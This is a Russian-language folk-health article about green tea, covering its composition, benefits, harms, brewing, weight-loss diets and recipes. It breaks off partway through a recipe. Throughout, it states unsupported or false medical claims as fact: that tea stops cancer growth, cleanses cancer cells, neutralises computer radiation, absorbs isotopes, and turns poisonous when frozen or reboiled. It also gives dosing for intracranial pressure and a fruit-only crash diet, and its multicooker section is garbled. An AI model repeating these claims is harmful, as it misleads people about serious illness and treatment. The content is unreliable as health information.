кустарником,
достигающим 10м в высоту.
У
растения красивые, длинные, томно-зеленого цвета листья, имеющие форму овала.
Листья содержат в своей
мякоти
опорные склереиды. В пазухах листьев расположены ароматные цветки, собранные по
2–4 штуки или поодиночке. Цветолистики и прицветники располагаются по спирали.
Плод зеленого чая – коробочка, слегка приплюснутая,
состоящая
из трех створок. Внутри плода имеются
семена
округлой формы, темно-коричневого цвета.
С
конца лета до последних дней осени длится период
цветения
этого растения. С октября по декабрь растение плодоносит. Плантации зеленого
чая находятся в Китае,
Индии,
Японии, Южной Америке и в Африке.
2.Состав Зелёного чая.
Этот свежий, крепкий напиток содержит
множество
химических веществ, именно этим обусловлено
полезное
действие чая. Более полутысячи компонентов
обнаружено в его листьях, включая столь
необходимые для организма кальций, фтор, а также магний,
фосфор
и много других. В нем обнаружено несколько
сот
сложных соединений органического происхождения и большинство известных
витаминов. Особая полезность
зеленого чая обусловлена наличием в нем
следующих
соединений:
Кофеин – это основной алкалоид, он своим
присутствием в чае придает сил и энергии
нашему
организму, бодрит и активизирует мозг.
Однако в обычном чае содержится не кофеин, а
его аналог, называемый теином. Действие теина несколько мягче, нежели кофеина,
при этом он также активизирует энергию
мозга человека, улучшает настроение, а вместе
с ним работоспособность и активность. Также кофеин в зеленом чае помогает
повысить пониженное кровяное давление, расширяет сосуды сердца, головного мозга
и почек.
Минералы, содержащиеся в зеленом чае, содействуют правильному
функционированию всех наших органов. Предотвращая нарушение баланса минералов,
он укрепляет иммунитет, способствует отличному состоянию ногтей,
волос
и зубов.
Катехины - это флавоноиды, отличные антиоксиданты. Их
воздействие в десятки раз превосходит эффект от витаминов. Выпивайте чашку
зеленого чая в течение дня, и ваш организм получит все необходимое количество
полифенолов. Подобный эффект обнаружен у катехинов других натуральных
продуктов, например, моркови, шпината, клубники и брокколи.
Являясь эффективным антиоксидантом, этот продукт подавляет
свободные радикалы в организме, снижая риск
возникновения рака. Чай повышает
естественный иммунитет, уничтожает микробов, благодаря чему он рекомендуется
при дизентерии.
3.Польза Зелёного Чая.
Полезность
зеленого чая известна с давних пор.
Причем этот
факт признан не только народными лекарями,
но и официальными учреждениями. Самые маститые
фармацевтические компании наряду с
производителями косметики используют в своих
продуктах
это уникальное, чудодейственное растение.
Полезные
свойства зеленого чая активным образом
используются в питательных кремах и в
биологически-активных
добавках.
Испытайте
сами действие этого чудесного продукта –
умывайтесь
утром и перед сном свежезаваренным напитком,
вы
почувствуете улучшение тонуса кожи.
Очень
полезно протирать шею и область лица кусочками замороженного зеленого чая.
Повторяйте эту
процедуру
регулярно, и вам будет обеспечено бодрое и жизнерадостное настроение. Зеленый
чай поможет
избавиться от нездоровых высыпаний на вашей
коже,
а также от
других подобных отрицательных симптомов
на лице и
теле.
Зеленый чай
способен сделать вас красавицей.
Если на вечер у вас далеко идущие планы, он
поможет
стать вам просто сногсшибательной. Красоту
вашей
кожи
разбудит такой состав. Перемешайте
приблизительно 20 г обычной муки, яичный
желток и крепко заваренный чай. Наносите на 15 мин. эту массу на лицо,
тщательно смывая после этого. Ваша кожа
приобретет
приятный цвет, расправится и подтянется.
Усилить этот
эффект можно с помощью кусочка льда зеленого
чая.
Не стоит
игнорировать и черный чай, его польза также
очевидна. Наши мамы во времена своей молодости
обходились без соляриев, чтобы сделать кожу
смуглой.
Для этого заливают немного воды в черный чай,
ставят на
огонь, доводя до кипения, и затем настаивают,
дожидаясь, когда жидкость остынет. Этим
настоем
дважды в
день протирают кожу. Вы станете загорелой без солнечных ванн.
Но вернемся
к зеленому чаю. Этот напиток нормализует
процессы пищеварения. Постоянно употребляя
зеленый чай,
вы заставите работать быстрее свои внутренние
органы –
печень, кишечник и желудок. Также вы заметите дополнительный эффект – здоровые десна и зубы.
Вам больше не страшен стоматит. Всему этому
способствуют удивительно полезные компоненты, которыми насыщен чай.
Антиоксиданты, которые присутствуют в чае, являются удивительным
профилактическим средством против ставших настоящей бедой раковых заболеваний.
В чайном напитке присутствует в необходимом количестве
известный антиоксидант –
цинк. Этот элемент необходим для укрепления ногтей, роста волос, способствует
он и
затягиванию ран, например при порезах.
Препараты
зеленого чая оказывают мочегонное действие,
но из-за возбуждающего действия растения его
нельзя
применять,
как диуретическое средство.
Зеленый чай
– лучшее средство от усталости.
Настой из
зеленого чая применяют в качестве
противомикробного
средства при дизентерии.
Такой чай
является средством профилактики мочекаменных и желчнокаменных болезней. Зеленый
чай поддерживает тонус организма и утоляет чувство голода.
Зеленый чай
обязательно нужно пить людям, которые проводят много времени за компьютером,
так как он является нейтрализатором воздействия негативного излучения
на организм.
Благодаря содержанию витамина С зеленый чай помогает справится со многими
онкологическими
заболеваниями. Витамин Р, содержащийся в зеленом чае, делает стенки
кровеносных сосудов крепче и эластичнее.
Полезные
свойства зеленого чая обусловлены тем,
что в его составе в большом количестве
содержатся
различные
биоактивные вещества, микроэлементы и
витамины. В
процессе производства продукта чайные листья не подвергаются полному окислению
(ферментации),
за счет чего они и сохраняют свой зеленый
цвет. Благодаря щадящей сушке полезные вещества и витамины, находящиеся в
листьях, не разрушаются, в отличие от черного чая.
Чем полезен
зеленый чай? Этот
целебный напиток оказывает тонизирующее действие на все системы организма. В
нем находятся кофеин и танин, стимулирующие мыслительную деятельность мозга.
Его полезно пить для профилактики тромбообразования, он снижает уровень сахара в крови,
защищает печень от токсинов и облегчает
симптомы диабета второй стадии.
Этот напиток
рекомендуется употреблять после перенесенных простудных заболеваний для более
быстрого восстановления организма. Говорят, что он способен ускорить заживление
ран и
ожогов. Регулярное употребление настоя из
чайных
листьев снимает симптомы некоторых кожных заболеваний.
4. Вред зелёного чая.
В состав
зеленого чая входят вещества, оказывающие как положительное, так и
отрицательное воздействие на организм человека. К примеру, кофеина в нем
столько же, сколько
и в кофе, поэтому этот целебный напиток не
стоит
употреблять
при повышенном давлении. Кроме того,
в зеленом чае присутствуют теофиллин и
теобромин,
оказывающие
возбуждающее действие на нервную систему человека. Вот почему настой из чайных
листьев не
рекомендуется
людям с повышенной возбудимостью и при бессоннице.
Крепкий
напиток однозначно вреден при:
·
При неустойчивой нервной системе и при заболеваниях сердечнососудистого
тракта.
Разумеется,
теин вреден для них. Но чай богат не одним теином, в нем имеются вещества,
активно влияющие на эти системы, что и обуславливает
его вредное воздействие, например за счет теобромина.
·
При беременности. Он
препятствует естественному расщеплению фолиевой кислоты, столь жизненно важной
развивающемуся мозгу будущего малыша.
Всё это связано
с содержанием в нем большой дозы химического препарата с
труднопроизносимым именем "галлатэпигаллокатехина". Вновь упомянем
кофеин, противопоказанный беременным.
Препятствует ли черный чай расщеплению
фолиевой кислоты доподлинно не доказано,
но вот кофеин в нем все-таки содержится. Всего лишь
нескольких чашек любого чая за день могут
вызвать рождение ребенка с пониженным весом,
стимулировать преждевременные роды с
возможной
гибелью плода.
·
При температуре. В чае
присутствует теофиллин, способный повысить температуру человека.
Поэтому больной с температурой, выпив зеленого чая,
еще больше ухудшит свое состояние.
·
При язве желудка. Скорее чай
противопоказан, чем действительно вреден. Крепкий чай, а зеленый в
особенности, повышает кислотность желудочного сока,
а это, в свою
очередь, препятствует естественному
процессу заживления ран. В результате состояние
больного может существенно ухудшится.
·
При нездоровой печени. Здесь надо отметить
конкретно
зелёный чай. Некоторые соединения, содержащиеся в чае, чрезвычайно нагружают
печень, в особенности, если этот напиток пить помногу.
А вот в черном
чае этих соединений совсем мало.
·
Вымывание полезных микроэлементов. Чай из организма выводит металлы. Вновь из-за теина.
·
Для скелета и костей. Анализы,
поставленные
учеными на животных,
показали
неожиданные результаты. Оказывается, чай негативно влияет на скелет и, в
частности,
на плотность
ткани костей. Справедливости ради
заметим, что на
людях подобных исследований не
делалось.
·
Образование мочевины. Любой чай богат
пуринами,
которые в процессе усвоения синтезируют мочевину. Она, как известно, ядовита, а
удаляется из организма с трудом. Ее соли синтезируют кристаллы, развивающие
подагру. Помимо этого зеленый
чай нарушает
состояние людей, болеющих артритом и ревматизмом.
·
Для зубов. Хотя здесь
говорилось об обратном
·
эффекте, но есть данные, согласно которым чай
губительно влияет на эмаль зубов. Чему верить?
·
Однозначно
не ответишь, но вряд ли стоит
·
полоскать чаем зубы при чистке.
·
Усвоение железа. Кофеин
препятствует усвоению необходимого железа.
Вред чая от
неправильного употребления:
·
Уже
говорилось, что старый чай вреден.
·
При долгом
хранении в нем накапливается
множество
пуринов. Хотя в момент заварки они уже образуются, но с течением времени
процессы их формирования нарастают и спустя полчаса чай уже
·
не стоит
употреблять.
·
Совместное
употребление чая и алкоголя вызывает интенсивное образование альдегидов,
наносящих вред
почкам.
·
Чрезмерное
употребление напитка вызывает
состояние
опьянения, начинает болеть голова,
накатывается
тошнота, головокружение.
·
Чрезвычайно
горячий напиток не стоит
употреблять в больших дозах. Поэтому, если вы
постоянно употребляете чрезмерно подогретый чай,
неизбежно возникают ожоги внутренних органов. Они деформируются, болезненно
съеживаются, на тканях образуются трещинки. Такого рода ожоги непременно
повышают степень риска раковых заболеваний. Здесь
надо отметить,
что это не вред чая как такового.
·
Заваривание
крутым кипятком чая делает его практически бесполезным, поскольку разрушаются
при этом самые ценные вещества.
А вот вредных элементов существенно
прибавляется,
тех же пуринов,
например.
5. Применение Зелёного чая.
Зеленый чай применяют при атеросклерозе,
гипертонии и различном отравлении, даже при алкогольном.
Зеленый чай является сильным антиоксидантом, который помогает
бороться с ожирением, слабостью и
усталостью. А также препараты из зеленого чая применяют при поносе,
ожогах
от солнечных лучей, от кариеса и в различных диетах.
Зеленый чай способен поглотить около 90 % изотопа,
не давая ему отрицательно воздействовать на организм
человека. Благодаря своим лечебным
свойствам зеленый чай останавливает рост раковых опухолей.
Кариес – самая распространенная проблема многих
подростков и взрослых. Зеленый чай
быстро и эффективно уничтожает бактерии в ротовой полости, которые не дают
образоваться кариесу.
Зеленый чай уменьшает содержание холестерина в организме, делает сосуды
эластичнее, приводит в норму обмен липидов, ускоряет жировой обмен и не дает
организму быстро
состариться.
Зеленый чай – отличное потогонное средство.
А если его смешать с лимоном, то эффект будет еще лучше.
Кроме того, зеленый чай выводит из
организма шлаки и
токсины.
Настой зеленого чая при атеросклерозе, повышенном
давлении и высоком холестерине. Возьмите 3 грамма сухого
зеленого чая и промойте его кипятком – это нужно для
уменьшения в нем содержания кофеина. Далее заливаем
зеленый чай 100 мл кипятка и
настаиваем около 10 минут. Принимают такой чай по стакану за раз трижды в день.
Но, учитывая тот факт, что человек принимает зеленый чай, в день необходимо
выпивать не более 1,2 л жидкости
(это учитывая и 3 стакана самого чая).
Настой зеленого чая при дизентерии. Берут 25 граммов измельченного сырья
растения и заливают 500 мл кипятка. Оставляют всё настояться на полчаса. Потом
ставим состав на слабый огонь на 1 час. После этого нужно процедить готовый
настой. Храним такой напиток только в холодильнике.
Принимают настой по 2 столовых ложки
за 30 минут до приема пищи 4 раза в день.
Чай при расстройстве желудка. Многие люди мучаются таким недугом.
Поможет с ним справится зеленый чай.
В этом растении содержатся
бактерицидные вещества,
которые уничтожают болезнетворные
микроорганизмы в кишечнике и желудке. Чтобы избавиться от расстройства
желудка, достаточно 2–3 дня утром, в
обед и вечером пить
крепкий зеленый чай – и недуг
пройдет.
Настой при витаминной недостаточности. Берем 3 грамма измельченного чая и
заливаем 100 мл кипятка, оставляем настояться на 10 минут. После этого в него
добавляем 1
чайную ложку сиропа шиповника.
Каждый день после приема пищи принимаем такой настой по 100 мл три раза,
только в теплом виде.
6. Как заваривать Зелёный чай?
Чтобы
зеленый чай был полезным и дал тот эффект,
который от него ожидают, его необходимо
правильно
заваривать.
Следует
серьезно отнестись к трем факторам:
·
Самый главный
из них – температура воды и
ее качество.
·
Порция
завариваемого чая.
·
Продолжительность
процесса заварки.
Оптимальные
сочетания этих трех параметров дадут
превосходный напиток. Остановимся подробнее на
этом.
·
1. Как
определить оптимальную порцию чая?
·
Здесь надо
брать в расчет размеры чаинок, а также густоту заварки, которую требуется
получить. В среднем берется одна чайная ложка, в расчете на полный
·
стакан воды.
·
2. Какова
продолжительность процесса заваривания? Этот параметр зависит от
размеров
·
чаинок, а
также желаемым тонизирующим
·
эффектом - интенсивным или чуть замедленным.
Учтите, теин, вызывающий столь желаемый
·
тонизирующий эффект, растворяется на первой же
минуте процесса заваривания. Затем происходит преимущественное насыщение
заварки дубильными веществами. Лишь вслед за ними наш организм
усваивает сам
теин. Следовательно, когда вы
ожидаете от
чайной церемонии интенсивного заряда бодрости, листочки чая не следует держать
в
заварке дольше одной - полторы минуты.
·
Напротив,
если вам хочется не слишком
интенсивного прилива сил, но зато продолжительного по
времени, выдержите заварку чуть дольше,
чем это указано
в инструкции. Но учтите,
что чай получится в этом случае слегка горьковатым.
Экспериментируя с этим показателем, вы найдете
для себя
варианты, приемлемые для каждого конкретного случая.
·
3. Какую
следует использовать воду для заварки?
Как и для большинства напитков, наилучший
вариант – вода из родникового источника.
Поскольку
далеко не каждый живет возле родника,
можно
употребить отфильтрованную воду.
Когда нет даже таковой, то хотя бы дайте
водопроводной воде времени немного отстояться.
Купленная
дистиллированная вода мало пригодна для заварки. Также не следует воду к чаю
повторно кипятить. Вообще воде недопустимо перекипать, поскольку
заваривать чай
свежим крутым кипятком ни в коем случае недопустимо!
Рекомендуется температура заварочной воды в районе
80-90?C. Не имея под рукой градусника, определить
подходящую температуру довольно просто.
Надо открыть у чайника крышку и когда начнет
подниматься пар, поднести к нему руку. Пар не должен
обжигать руку. Именно такая температура будет
оптимальной.
Усвойте однажды и навсегда – кипяток разрушает большинство полезных веществ в
чае,
делая этот
напиток бесполезным!
·
4. Какую
предпочесть посуду для заваривания зеленого чая? Наилучшая посуда это
та, которая долго удерживает высокую температуру. Хорошо подходят глиняные либо
фарфоровые чайники. Знатоки чая японцы используют чайник, изготовленный из
эмалированного чугуна, а вот арабы предпочитают серебряную посуду.
Посуда не
должна иметь посторонних запахов. Для этого очень поможет предварительное
ополаскивание посуды кипятком. Еще это необходимо чтобы холодный
чайник не
собрал тепло воды в себя, которое было предназначено для заварки.
Когда после нескольких процедур заваривания на
внутренней поверхности чайника появляется желтоватый
налет, удалять его не торопитесь. Такая пленка – это своеобразная защита от
неблагоприятных внешних
факторов. Может
быть, это насторожит гостей,
не знакомых с такими тонкостями чайной церемонии, но,
думается, вы найдете способ объяснить им ситуацию.
·
5. Непосредственная
процедура заваривания. Используемый с этой целью чайник необходимо
предварительно прогреть над открытым огнем.
Только затем засыпать чай. Ложка должна быть сухой и
чистой. Заварочный чайник оборачивают мягкой тканью. Гурманы чайных церемоний
применяют для этого специальные красивые вещи. Чайник выдерживают в
тепле пару
минут. Заварку заливают на треть
емкости горячей водой. Выдерживают еще 2-3 мин.,
после чего
доливают чайник под завязку.
Чашки, желательно также из глины или фарфора,
предназначенные для чайной церемонии, ополаскивают горячей водой перед
использованием. Ведь налитый в холодную чашку горячий чай быстро остывает.
Общая продолжительность процедуры заваривания – в
среднем 3-4 мин. Наливают напиток в чашки небольшими,
одинаковыми объемами, так получается одинаковый
вкус чая для
всех гостей.
·
6. Иногда
чай готовят в самой чашке
(встречаются и таковые любители)
накладывайте не
более одной
ч.л. заварки. Настаивается такой
напиток около 2 минут. Появление на поверхности
чайника пенки желто-коричневатого оттенка означает
правильный режим приготовления. Убирать пенку не требуется, ее просто
размешивают ложкой в чашке.
Также не забывайте прогреть саму чашку, в которой чай
заваривается.
·
7. Сколько
допускается заварок и с чем чай пить? Принято считать, что сахар - враг
зеленого чая. Лучше употреблять на десерт мед, а при его отсутствии -
сухофрукты. Вторично высококачественный чай
заваривают до
семи раз. Однако более двух раз
лучше этого не делать. Берем крохотный мини-чайничек,
завариваем его на раз, а затем еще раз повторяем. Время вторичной заварки
увеличивается. Первоначальная заварка отличается наиболее терпким ароматом.
Далее начинает раскрываться собственно вкус чая.
·
8.
Разрешается заваривать зелёный чай в мультиварке Поларис.
Оттуда выходит много чая примерно 3 литра.
Я делаю так: 1. Открываю пустую мультиварку.
2. Из неё я вынимаю блюдо и ставлю на стол.
3. В блюдо я наливаю 3 литра воды или по метку на
стенке блюда.
4. Потом я чу-чу ть приподнимаю блюдо вверх и одной
рукой провожу по дну с наружной стороны проверяя не мокрое
ли дно если
мокрое то протираю сухой тряпочкой,
а если сразу сухое дно то сразу блюдо с водой ставлю в
мультиварку.
5. Потом я закрываю крышку у мультиварки.
6. Потом я её включаю в электрическую розетку на мультиварки
загарается лампочка меню, настройки и
десплей с
временем.
7. Потом я нажимаю кнопку меню до тех пор пока на
паели мультиварки не загорится лампочка «Мультиповар» .Как загорелась лампочка
на панели я нажимаю кнопку
настройки и там на дисплее выходит настрой ка часов.С
помощью кнопки «Настройка» я настрайваю время на 1 час. Потом снова нажимаю
кнопку «Меню» На дисплее загаается настройка грдусов и снова я настрайваю
градусы с помошью кнопки «Настройка».Я выбираю 160 ºС градусов цельсия и нажимаю кнопку на Мультиварке
«Старт». Потом на дисплее загорается время 1:00 час.И я отхожу от
мультиварки
ровно на 1:00 час.
8. Потом через 1:00 час как про пищит мультиварка
то есть даст знать что пора её выкулючать я подхожу к
ней и нажимаю на ней кнопку «Отмена» на дисплее появляютсячёрточки примерно вот
такие-----. Потом после нажатия кнопки «Отмена» и появления чёрточек я её
выдёргиваю из
электрической разетки открываю крышку мультиварки примерно на 15 минут.
9. Потом через 15 минут я подхожу к своей Мультиварки
открытой и кладу в кипячёную но немного остывшую воду Зелёный чай, помешаю его
мнемного деревянной
ложкой и снова
закрываю крышку мультиварки с чаем на 15 минут (Не включая её в электрическую
разетку) и
отхожу от неё
на 15 минут.
10. Потом через 15 минут я подхажу к своей мультиварки
и открываю её, и вынимаю из неё блюдо с готовым чаем.
11. Потом переливаем готовый чай в 3-х литровую
банку но так
аккуратно что бы банка не лопнула от
горячего чая.
12. Потом как перельёте чай в банку сразу же намойте
чашу от мультварки.
13. Самою мультиварку протрите от всякой грязи и
дайте ей остыть.
14. готовый чай можете употреблять!
15. Приятного вам Чаепития!
16. (Совет: кто страдает запором перед тем как
переливать чай в банку 3-х литровую положите на дно
банки немного ледышков сделанные из чистой, проточной, питьевой воды. Или
разбавьте чай простой сырой водой).
А кто запором
не страдает тех этот совет не касается.
17. Этот рецепт по завариванию чая хорошо помагает
очень хорошо для снежений внутре
черепного давления,
алергического
чёса, шелушения кожи.
18. Пить зелёный чай надо от внутре черепного
давления 3 раза
в день по 0.6 мл. каждый раз.
И последний раз в день пейте его в 17:00 часов.
Если у вас в банке остался чай то вы его не выливайте
в помойку а поставьте в холодильник он вам пригодится
на следующий день.
19. Злелёный чай не вкоем случае нельзя
замораживовыыать он становится ядовитым.И повторно
перекипячивовывать тоже нельзя он тоже
становится
ядовитым. Зелёный чай должен быть комнатной температуры.
20. Зелёный чай надо пить курсами на пример 1
месяц пить а другой не пить и так по очереди.
Всегда ли
можно пить зеленый чай? Многие люди
употребляют
этот целебный напиток, думая, что он
хорошо
утоляет жажду. К примеру, в Средней Азии его
пьют в горячем виде при работах в поле, однако
это большое заблуждение. Заварка из чайных листьев является сильным мочегонным
средством, и, выпивая ее в жаркое время года,
человек тем самым обезвоживает свой организм.
Кроме того, чрезмерное употребление заварки может привести к
ухудшению
состояния нервной системы.
Нельзя пить
напиток натощак. Он раздражает слизистую
желудка, что
может привести к развитию гастрита или язвы.
Не рекомендуется его пить и перед принятием
пищи,
так как он
снижает усвоение протеина пищеварительными органами. Еще он обволакивает стенки
желудка и вызывает разжижение слюны, отчего пища может показаться
безвкусной.
7. Кофеин в Зелёным чае.
Небольшие дозы кофеина при
умеренном потреблении
заварки из зеленых листьев
тонизируют, помогают снять
усталость, повышают физическую и умственную
активность человека. Однако при всем благотворном влиянии этого благородного
напитка на организм нельзя забывать и о
его вреде. Именно из-за кофеина не
рекомендуется злоупотребление зеленым чаем людям, страдающим
сердечно-сосудистыми
заболеваниями. Это может привести к различным осложнениям.
8. Чай Зелёный с молоком.
Этот
целебный напиток, смешанный с молоком, великолепно очищает почки, укрепляет и
тонизирует организм. Еще этот «коктейль» очень любят китайские долгожители.
Молоко нейтрализует действие кофеина и других алкалоидов,
и поэтому
такой напиток можно пить без опаски за свое
здоровье.
Хотя это калорийный продукт, но лишние
калории в нем компенсируются кальцием. Было
проведено интересное исследование, в ходе которого несколько женщин выпивали
ежедневно по стакану молока. Как ни странно,
в итоге ко
всем плюсам такого рациона, в виде
укрепления
ногтей, зубов и костей добавилось еще
снижение
веса испытуемых. По мнению организаторов эксперимента, это явление связано с
дефицитом кальция. Впоследствии ученые разработали специальную диету
на основе зеленого чая с молоком, а ее эффективность
была доказана уже опытным путем. Процессы очистки в организме, вызываемые
употреблением чая, в сочетании с молочной
диетой,
богатой микроэлементами, способствует
похудению
безо всякого вреда, связанного с истощением организма.
Какова же
суть такой диеты? Можно
отметить два способа – мягкий и радикальный. Когда вы стремитесь к
форсированному результату и не испытываете проблем с желудком, применяются
жесткие меры. Следует съедать всего несколько фруктов за день, отказавшись от
всех остальных продуктов. Пьем зелёный чай с молоком. Сахар, если в нем
потребность непреодолима,
смените на ложечку меда. Помимо чая с
добавлением молока, необходимо выпивать от полутора литров простой воды.
Если это всё
очень непросто для вас, значит, вы еще
нерешительны
в своих стремлениях похудеть.
Но
предположим, что вы задались целью только очиститься от шлаков. Тогда
разгрузочный день – это то, что вам надо. Такая мера, разумеется, гораздо мягче
– всего лишь один день
можно и потерпеть. Но про обычную пищу все-таки
придется забыть в таковой день, дабы дать чаю свершить свое
воздействие.
Рассмотрим
способы употребления чудодейственного
напитка. Их также всего два, и вот каких.
Способ
первый: Гурманы
уверяют - наивысшая
эффективность
чайно-молочной диеты будет достигнута, если заварку готовить непосредственно на
молоке. То есть вода не используется вовсе. Сухой чай заливается нагретым
молоком.
В этом случае простая вода пьется только
отдельно от
напитка.
Способ
второй: Этот вариант
считается более простым, но не столь полезным. Кипяток и молоко смешивают
в
равных по объему частях, и в такую смесь
засыпают заварку. Таковой чай зеленее на цвет, но вкус его не такой молочный.
Еще отметим,
что использование зелёного чая на
молоке
возможно и горячим, и холодным. Менее полезным
он не станет от этого. Огромной популярностью
зелёный чай пользуется у спортсменов. Рассчитывая на чудодейственные свойства
чая, употреблять его необходимо не только после тренировки, но и до нее.
Спектр полезного воздействия чая огромен. Его включают в свой рацион ценители
бодибилдинга, фитнеса и просто люди активного образа жизни. Но вот пониженное
давление – это существенная причина
воздержаться от зеленого чая. Ведь
одна из важнейших его функций – именно борьба с гипертонической болезнью.
9. Зелёный чай для похудения.

Медицинским сообществом до сих пор еще не
принято однозначного решения, влияет ли зеленый чай на похудение,
хотя многие люди верят в эффективность
снижения веса с помощью этого продукта. И такой способ похудения в
последнее
время вошел в моду. Считается, что этот настой усиливает обменные процессы в
организме и ускоряет
выведение жира, он является мощным
антиоксидантом и способствует укреплению кровеносных сосудов, повышая их
эластичность.
Если вы почувствовали легкий голод, то вместо
перекуса
лучше выпейте чашку настоя из чайных листьев
без сахара.
При регулярном его употреблении можно скинуть
2–3 кг,
причем в сочетании с диетой достигаются
ошеломительные результаты. Вспомним главных чайных гурманов – китайцев и
японцев. Найти среди них толстяка очень затруднительно. В чем заключается
способность чая избавлять от излишней массы? Выяснилось - из числа полезных
качеств зелёного чая
преобладают именно те, что способны вызвать
похудение.
Напиток прекрасно очищает организм, улучшает
работу
желудка и кишечника, выводя шлаки, повышает
метаболизм. Доказано позитивное воздействие чая на ускорение процессов
расщепления жиров. Этот напиток позволяет забыть о голоде.
Рассмотрим далее, как эффективнее
задействовать полезные качества зеленого чая людям, желающим избавиться от
излишков веса.
·
1. За полчаса до
приема пищи просто выпить немного чая. Это отличный способ похудеть.
Для одноразового
приема чайную ложку заваривают
на 300 г воды,
настаивают примерно две минуты и
пьют без сахара.
Такой прием несколько снизит чувство голода, но при этом ускорит процессы,
отвечающие за переваривание продуктов питания, сжигание жиров.
Можно
порекомендовать добавлять в обычный чай
растения, которые
также способствуют похудению.
В их числе,
например, гибискус, отличающийся своими легкими слабительными, а также
мочегонными эффектами. Подойдут и плоды боярышника, рассасывающие жиры,
снижающие холестерин. Еще одна добавка – мелко
помолотая корица. С ней чай приобретает
изысканный, приятный вкус, а метаболизм усилится на порядок.
Наконец, даже
зверский аппетит подавляет ложечка
семени льна, съеденная за чашечкой зеленого
чая.
·
2. Добавьте
зеленый чай к обеденному столу.
Есть один рецепт,
который вероятно покажется вам оригинальным и даже несколько странным.
Попробуйте размолоть чай в тонкий порошок кофемолкой.
Ложечку этого
порошка съедайте в процессе любой своей трапезы. Запивать его можно водой.
Можно даже не есть порошок в чистом виде, а, скажем, посыпать им холодные
закуски, например, салаты, каши, оливье.
Не следует только
добавлять его в различные супы или коктейли, содержащие много жидкости. В таких
блюдах порошок просто растворится и его воздействие будет существенно ниже или
просто ослаблено.
Этот рецепт дошел
до нас из Китая. А в этой стране
люди знают, как сохранить фигуру.
·
3. Если вы уже
сидите на диете, то превосходно
подойдет чай для
улучшения эффекта. Вообще лучшие диетологи рекомендуют при похудении пить как
можно чаще зеленый
чай. Быстрому избавлению
от излишков в весе способствует употребление
фруктов и овощных блюд. Сократите при этом в своем рационе количество
сладостей, мучных продуктов.
Замените жареное
мясо с использованием жиров,
на вареное.
Старайтесь поменьше добавлять в
пищу соли и особенно сахара. А вот всевозможные
крупы – гречка, рис должны стать желанными на
вашем столе. Разумеется тоже в разумных количествах.
И запомните, пейте регулярно зеленый чай, так
как при похудении не существует ограничений на его прием.
Теперь поговорим о наиболее удачных сочетаниях
диетических рационов и зеленого чая.
Как воздействует зеленый чай на процессы
снижения
веса? Ускорение процессов метаболизма –
это не
единственный фактор воздействия на снижение веса в арсенале чая. Существуют еще
несколько полезных
функций в этом направлении, перечислим их:
·
мягкие мочегонные
свойства, способствующие, соответственно, выводу излишков жидкости.
Хотя в числе всех
продуктов, которые обычно
используют
совместно с зеленым чаем, молоко никак не фигурирует, в целях похудения
церемониал этот можно обойти. Добавляя в чай чуть-чуть обезжиренного молока,
можно резко усилить мочегонный эффект, выводиться жидкости будет больше. А еще
это средство – хорошая профилактика отечности ног и ступней.
·
полифенолы, в
избыточном количестве
содержащиеся в чае,
усиливают теплообмен организма посредством эффективной переработки
отложившихся
жиров. Выпивая несколько чашек
чая в день, согласно исследованиям ученых,
можно увеличить
массу сжигаемых жиров почти в полтора раза.
·
уменьшение в
крови сахара также благоприятствует снижению веса, ведь это помогает не
чувствовать голод раньше времени. Выпейте всего чашку чая до еды, и обед
покажется вам гораздо сытнее, а значит можно и
поменьше съесть. Те столь обильная трапеза,
как обычно,
также является союзницей в борьбе с излишками
веса.
Может возникнуть вопрос, как долго
нужно держать обязательным компонентом рациона зеленый чай?
Для этого хватит буквально двух недель, итогом чайной
диеты станет привычка организма к здоровому питанию, умеренный рацион. Вы
получите двойную пользу – сначала будет
избавление от излишков жидкости, а уже затем
утилизируется жир. Приучив организм к
здоровому
питанию, вы сможете иногда баловать себя
совсем не диетическими продуктами, не опасаясь, что это приведет к
лишним килограммам
веса.
10. Экстракт Зелёного Чая.
Такой
экстракт изготавливается из зеленых,
не
ферментированных листьев растения. Он используется в косметической и пищевой
промышленности.
В косметологии на его основе выпускаются
маски, кремы, шампуни и многое другое. Такое широкое использование этого
продукта связано с тем, что препараты из чайных листьев благотворно влияют на
сохранение молодости кожи и ее
красоты. В
косметологической сфере экстракт используется как консервант, антиоксидант,
стабилизатор натуральных красителей и в качестве дезодоранта.
Экстракт
зеленого чая хорошо питает и увлажняет кожу,
улучшает и
укрепляет саму ее структуру.
Также он
препятствует старению кожи, усиливая ее защитные функции, а на клеточном уровне
оказывает общее
положительное
воздействие. В пищевой промышленности
экстракт
зеленого чая используется как природный
антиоксидант
для предотвращения окисления масел и жиров.
Он является стабилизатором ряда нестабильных и
быстро окисляющихся соединений.
11. Противопоказания к употреблению Зелёного Чая.
Несмотря на
то, что зеленый чай имеет множество полезных свойств, его нельзя применять в
чрезмерном количестве.
Людям с гипотонией он вообще противопоказан,
так как зеленый чай снижает кровяное давление. Язвенникам
также лучше не использовать препараты из зеленого чая.
Людям с
бессонницей также не рекомендуется
увлекаться
зеленым чаем, потому что в его составе
имеется кофеин, возбуждающий нервную и
сердечную
системы.
Если вы
употребили алкоголь, то забудьте о зеленом чае!
Если алкоголь и зеленый чай употребить
одновременно, то образуются альдегиды, а это крайне отрицательно скажется на
почках. Нежелательно применять препараты из зеленого
чая и на голодный желудок.
12.Информация Взята с Сайта?
http://www.ayzdorov.ru/
13. Полезные рецепты с Зелёным чаем.
Рецепт №1.
Рецепт для очищения организма от
раковых клеток,
раковых клеток,
Очищение сосудов от бляшек и холестерина.
И помогает снизить лишний вес. И избавляет от
судорог
судорог
в ногах и руках.
Вам понадобится?
1.
Чечевица.
(Крупа сырая). «500 грамм».
2.
Гречневая
крупа. (Сырая). «500 грамм».
3.
Шиповник.
(Ягоды сушёные). «500 грамм».
4.
Жидкий
мёд. «300 грамм».
5.
Алоэ.
«1 лист». Или аптечный сок Алоэ 1 пузырёк.
6.
Готовый,
заваренный Зелёный чай.
7.
1
кофемолка Электрическая.
8.
Одна
3-х литровая Стеклянная банка.
9.
Одна
0,6 литровая Стеклянная банка.
10.
Одно
эмалированное блюдо.
11.
Мелкое
ситечко.
12.
2
капроновых крышки.
13.
1
пялка или блюдечко .
Приготовление.
1. Возьмите электрическую кофемолку и в
ней
размолотите в муку Сырую крупу Чечевицы 500
грамм. И положите
размолотую Чечевицу в
эмалированное блюдо.
2. Также размолотите в кофемолке
электрической
Гречневую крупу
Сырую 500 грамм. И положите размолотую
Гречневую крупу в эмалированное
блюдо.
3. Возьмите мелкое сито и поставьте его
в
эмалированное блюдо на молотые готовые крупы.
4. Также размолотите в кофемолке
электрической Ягоды сушёного Шиповника. 500 грамм. И положите
размолотый шиповник к остальным крупам но
прежде чем класть его
к остальным крупам
